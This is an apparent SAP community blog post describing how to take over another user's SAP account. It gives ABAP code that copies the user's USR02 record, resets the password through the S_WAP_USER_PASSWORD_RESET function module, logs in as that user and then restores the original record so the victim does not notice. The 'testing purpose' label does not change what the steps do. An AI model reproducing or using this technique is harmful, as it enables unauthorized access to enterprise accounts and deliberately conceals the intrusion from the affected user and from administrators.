Additional Blogs by Members
cancel
Showing results for 
Search instead for 
Did you mean: 
koolspy_ultimate
Active Contributor

Hi,

There is a chance to get access to the users account by just making some changes in Table USR02.

i.e if we copy the data of that particular user into internal table from usr02

(working fine in Development Server)

then reset the user password using the following code,

data: t_return type bapiret2 occurs 0 with header line.

call function 'S_WAP_USER_PASSWORD_RESET'

      exporting

        username = 'TEST4'

      tables

        return   = t_return.     " to Reset user password

loop at t_return.

write:/ t_return-message

endloop.

  which gives us the password i.e t_return-message.

Then we shall be able to access that particular user's account i.e 'TEST4'.

later, the previously copied value i.e is shown in above pic will be added again , so that the user (TEST4) may not know that some one has accessed his account.

For Testing Purpose only.

Kindly share your suggestions.

Regards,

Madhumahesh.

12 Comments